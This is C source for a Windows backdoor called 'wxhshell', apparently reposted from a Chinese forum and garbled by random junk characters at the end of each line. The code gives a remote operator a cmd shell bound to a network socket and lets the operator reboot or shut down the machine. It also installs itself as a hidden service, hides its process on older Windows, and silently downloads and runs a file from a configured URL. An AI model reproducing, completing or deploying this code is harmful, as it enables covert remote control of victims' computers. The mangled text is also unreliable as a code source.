)%I2#Q"Nt-  
    switch(cmd[0]) { }KcvNK (  
   \9N1:  
  // 帮助 Z_Qs^e$  
  case '?': { FWNWOU  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 07`hQn)Gc  
    break; 8>%:MS"  
  } $hXhq*5|c  
  // 安装 PRg^E4  
  case 'i': { &'Pwz  
    if(Install()) 2r4owB?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J'jwRn  
    else BIqZg$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ux:czZqy  
    break; @z[,w`  
    } 0Z $=2c?xT  
  // 卸载 K-vG5t0$\/  
  case 'r': { cks53/Z  
    if(Uninstall())  rl"$6{Z}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); CY"&@v1  
    else ssj(-\5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 78T9"CS  
    break; lV<2+Is  
    } LQ(z~M0B  
  // 显示 wxhshell 所在路径 9%T~^V%T7  
  case 'p': { o`,|{K$H  
    char svExeFile[MAX_PATH]; fyaiRn9/  
    strcpy(svExeFile,"\n\r"); /%fBkA#n  
      strcat(svExeFile,ExeFile); <pyLWmO  
        send(wsh,svExeFile,strlen(svExeFile),0); ~$cz`A  
    break; v,Eqn8/O  
    } dY[ XNP  
  // 重启 2[-@ .gH  
  case 'b': { _$g6Mj]1z  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); iZm# "}VG  
    if(Boot(REBOOT)) |, #DB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )lh48Ag0t;  
    else { iYJ:P  
    closesocket(wsh); <?yf<G'$  
    ExitThread(0); dp;;20z  
    } IsP-[0it  
    break; wiHGTaR  
    } >v--R8I*  
  // 关机 $v5)d J  
  case 'd': { #y;TSHx/  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 4 JC*c  
    if(Boot(SHUTDOWN)) PW7{,1te,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); RI.6.f1dy  
    else { ;J [ed>v;3  
    closesocket(wsh); /q[5-96c  
    ExitThread(0); <j\osw1R  
    } max 5s$@  
    break; TNun)0p  
    } +pMa-{  
  // 获取shell Q5%$P\  
  case 's': { : :?,ZA  
    CmdShell(wsh); !'m MGxkEb  
    closesocket(wsh); wMc/O g  
    ExitThread(0); 4PdJ  
    break; N!me:|Dn  
  } wwmHr!b:6  
  // 退出 X~+AaI :~K  
  case 'x': { xwvg @  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); EY+/ foP  
    CloseIt(wsh); <7  
    break; ct o+W}k  
    } 3QM;K^$  
  // 离开 w2 %u;D%  
  case 'q': { fyHFfPEE  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); }enS'Fpf`  
    closesocket(wsh); /w[B,_ZKTk  
    WSACleanup(); @bfW-\ I  
    exit(1); Jr2x`^aNO  
    break; (_2Iu%F  
        } +`jI z'+  
  } ahJ -T@  
  } TTGk"2 Q'  
^lw0} i  
  // 提示信息 3jeB\  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Gz09#nFZk  
} C6<*'5T  
  } ~%gO+qD  
SK][UxoHm  
  return; Wb)>APL  
} S<Rl?El<=  
'J[ n}r  
// shell模块句柄 6 (M^`&fl  
int CmdShell(SOCKET sock) ;7/ ;4Z  
{ Wnf3[fV6P  
STARTUPINFO si; gC/~@Z8W]  
ZeroMemory(&si,sizeof(si)); S2APqRg*  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 40?xu#"  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; <q}w,XU  
PROCESS_INFORMATION ProcessInfo; PJ$C$G  
char cmdline[]="cmd"; !\'NBq,  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); W'98ues%  
  return 0; @Yzdq\FI  
} >0XB7sC  
U-]Rm}X\M  
// 自身启动模式 9sQ #v-+Yx  
int StartFromService(void) !k5I#w:  
{ DA9-F  
typedef struct At t~N TL  
{ A vh"(j  
  DWORD ExitStatus; th :I31  
  DWORD PebBaseAddress; n7A %y2  
  DWORD AffinityMask; 'nx";[6(  
  DWORD BasePriority; Q|$?d4La8  
  ULONG UniqueProcessId; ?=^~(x?S  
  ULONG InheritedFromUniqueProcessId; %@q/OVnM  
}   PROCESS_BASIC_INFORMATION; 31cC*  
F ]qX}  
PROCNTQSIP NtQueryInformationProcess; J 7/)XS  
Q$`u=-h|  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; \gU=B|W  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; g %ZKn  
2SABu796j  
  HANDLE             hProcess; s:p6oEQ=J  
  PROCESS_BASIC_INFORMATION pbi; @nNhW  
M9PzA'}4W6  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Id(wY$C&>  
  if(NULL == hInst ) return 0; HNMVs]/e  
P&g.%8b~84  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); n1E^8[~'  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); r.~^h^c]  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); L/+KY_b:*  
s7 K](T4  
  if (!NtQueryInformationProcess) return 0; q8=hUD%5C  
#Rw9 Iy4  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ^.Xom~  
  if(!hProcess) return 0; PV(TDb:0  
q@+#CUa&n  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; @lO(QpdG  
cUDo}Yu  
  CloseHandle(hProcess); IncHY?ud<  
}#bX{?f  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); H)5V \  
if(hProcess==NULL) return 0; MJ% gF=$X  
2 D vKW%;  
HMODULE hMod; jmkVolz  
char procName[255]; 6xC$R q  
unsigned long cbNeeded; S-Z s  
K}KgCJ3  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); "TQ3{=j{  
*z3wm-z1&  
  CloseHandle(hProcess); _oU}>5  
k6(9Rw8bCk  
if(strstr(procName,"services")) return 1; // 以服务启动 4UV6'X)V  
>cdxe3I\  
  return 0; // 注册表启动 \J?l7mG  
} ]A.tauSW  
y]YUuJ9a  
// 主模块 PKK18E}{%^  
int StartWxhshell(LPSTR lpCmdLine) %=G*{mK  
{ qiyX{J7Z  
  SOCKET wsl; OtsW>L@ O(  
BOOL val=TRUE; oBpoZ @[Z  
  int port=0; I `I+7~t  
  struct sockaddr_in door; $TK<~3`  
<q<kqy5s-R  
  if(wscfg.ws_autoins) Install(); F?jFFw im  
QVq+';cG  
port=atoi(lpCmdLine); c&]nAn(  
}z|@X KA#  
if(port<=0) port=wscfg.ws_port; 49Y_ze6L}  
0D Q\akh  
  WSADATA data; >I&'Rj&Mc  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 3{/Y&/\"'^  
xA7Aw0  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   \[CPI`yQe  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); C\RJ){dk  
  door.sin_family = AF_INET; 2 g`<*u*  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Kc,=J?Ob  
  door.sin_port = htons(port); i p"LoCE  
yr"BeTrS.  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { wusj;v4C4M  
closesocket(wsl); QGkMT +A  
return 1; 65g"$:0  
} 7#G8qh<  
8 mFy9{M  
  if(listen(wsl,2) == INVALID_SOCKET) { -&UP[Mq  
closesocket(wsl); 9`8D Ga  
return 1; ?ZS/`P0}[  
} $T-Pl57  
  Wxhshell(wsl); 9cMQ51k)E  
  WSACleanup(); hALg5.E{T  
/ZpwJc`e  
return 0; ) Z^b)KAk  
F caO-  
} 'G>gNq  
(h $[g"8  
// 以NT服务方式启动 Z H1UAf  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) _f1~r^(/T0  
{ f*tKj.P  
DWORD   status = 0; piPx8jT`F  
  DWORD   specificError = 0xfffffff; }s>.Fh  
Fr{}~fRW<  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 7{fOo%(7  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; POl_chq  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; g)/#gyT4Y  
  serviceStatus.dwWin32ExitCode     = 0; AJWV#J%nB  
  serviceStatus.dwServiceSpecificExitCode = 0; t_\;G~O9-M  
  serviceStatus.dwCheckPoint       = 0; R{3vPG  
  serviceStatus.dwWaitHint       = 0; 6{8dv9tK  
%X^K5Io  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); TTQ(\l4  
  if (hServiceStatusHandle==0) return; rV[/G#V>{  
5+yT{,(5  
status = GetLastError(); =|Vm69  
  if (status!=NO_ERROR) (t%+Z"j  
{ ^{+,j}V_H  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED;  !L|PDGD  
    serviceStatus.dwCheckPoint       = 0; <^v-y)%N:A  
    serviceStatus.dwWaitHint       = 0; Hp}dm93T  
    serviceStatus.dwWin32ExitCode     = status; fx#Krr @  
    serviceStatus.dwServiceSpecificExitCode = specificError; R&P}\cf8T  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); "gQA|NHwV  
    return; +`_Km5=  
  } C#3K.0a  
R|OY5@  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; :.J]s<J(F  
  serviceStatus.dwCheckPoint       = 0; "'zVwU  
  serviceStatus.dwWaitHint       = 0; 27CVAX ghV  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 898=9`7e  
} $ytlj1.  
pGHn   
// 处理NT服务事件,比如:启动、停止 -q6d&D'B+  
VOID WINAPI NTServiceHandler(DWORD fdwControl) QgB%\mO=  
{ @Y| %  
switch(fdwControl) RX6s[uQ  
{ x+;"(]#  
case SERVICE_CONTROL_STOP: vOnhJN  
  serviceStatus.dwWin32ExitCode = 0; *v6 j7<H  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 7!r)[2l  
  serviceStatus.dwCheckPoint   = 0; vf-cx\y7  
  serviceStatus.dwWaitHint     = 0; WN`|5"?$  
  { 2J0N]`|)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); *$/!.e  
  } iM'rl0  
  return; z($h7TZ$  
case SERVICE_CONTROL_PAUSE: )(`HEl>-9c  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 3`3`iN!8\@  
  break; ckCb)r_  
case SERVICE_CONTROL_CONTINUE: oe,37xa4  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; [:xpz,  
  break; U?W?VEOO!7  
case SERVICE_CONTROL_INTERROGATE: j 5{ "j  
  break; f;Uf=.#F  
}; *B ]5K{N  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?VaAVxd29  
} 8*[Q{:'.  
l2 [{T^  
// 标准应用程序主函数 (Ymj  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) GL- r;  
{ P{tH4V23T  
1,pg7L8H  
// 获取操作系统版本 ;VlA~tv  
OsIsNt=GetOsVer(); Sru}0M#M  
GetModuleFileName(NULL,ExeFile,MAX_PATH); B$)&;Q  
B!iz=+RNC1  
  // 从命令行安装 ) HPe}(ypt  
  if(strpbrk(lpCmdLine,"iI")) Install(); Y-vLEIX=  
R[Y{pT,AY  
  // 下载执行文件 L-V+`![{  
if(wscfg.ws_downexe) { ZL{\M|@jz  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) _A5.  
  WinExec(wscfg.ws_filenam,SW_HIDE); k6|wiSyu  
} =U)e_q  
5$;#=WAY  
if(!OsIsNt) { NJ];Ck  
// 如果时win9x,隐藏进程并且设置为注册表启动 "1X@t'H38  
HideProc(); gI5"\"T{  
StartWxhshell(lpCmdLine); | bWvQdN  
} c(5r  
else fBZAO  
  if(StartFromService()) <~ 9a3c?  
  // 以服务方式启动 Qe,aIh  
  StartServiceCtrlDispatcher(DispatchTable); 6'YsSde".  
else NKJ+DD:'  
  // 普通方式启动 a ]~Yi.H  
  StartWxhshell(lpCmdLine);  p;k7\7  
<+iL@'SgF  
return 0; c^a D r  
}
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只看该作者 1 发表于: 2006-10-10
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